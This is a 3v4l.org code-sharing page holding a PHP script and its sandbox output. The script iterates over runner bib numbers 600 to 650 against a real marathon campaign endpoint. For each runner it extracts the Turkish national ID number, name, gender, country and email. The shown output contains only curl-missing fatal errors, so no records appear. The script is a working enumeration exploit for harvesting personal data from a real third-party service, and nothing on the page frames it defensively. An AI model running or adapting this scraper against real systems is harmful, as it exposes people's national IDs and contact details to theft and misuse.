3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php header("Content-Type: text/html; charset=utf-8"); set_time_limit(0); for ($i=600;$i<=650;$i++) { $postdata = "gogus_no=".$i."&email=q@q.com&allowMail=1"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"https://lab.isobar.com.tr/adidas/maratonyolculugu/getimages/service/post.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); if (0 === strpos(bin2hex($data), 'efbbbf')) { $data = substr($data, 3); } $sonuc = json_decode($data); echo $i . ","; echo $sonuc->KayitId . ","; echo $sonuc->TcKimlik . ","; echo $sonuc->Adi . ","; echo $sonuc->Soyadi . ","; echo $sonuc->Cinsiyet . ","; echo $sonuc->Ulke . ","; echo $sonuc->Mail; echo "<br>"; }
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/W0vkU:8 Stack trace: #0 {main} thrown in /in/W0vkU on line 8
Process exited with code 255.
Output for 5.3.19 - 5.6.28
Fatal error: Call to undefined function curl_init() in /in/W0vkU on line 8
Process exited with code 255.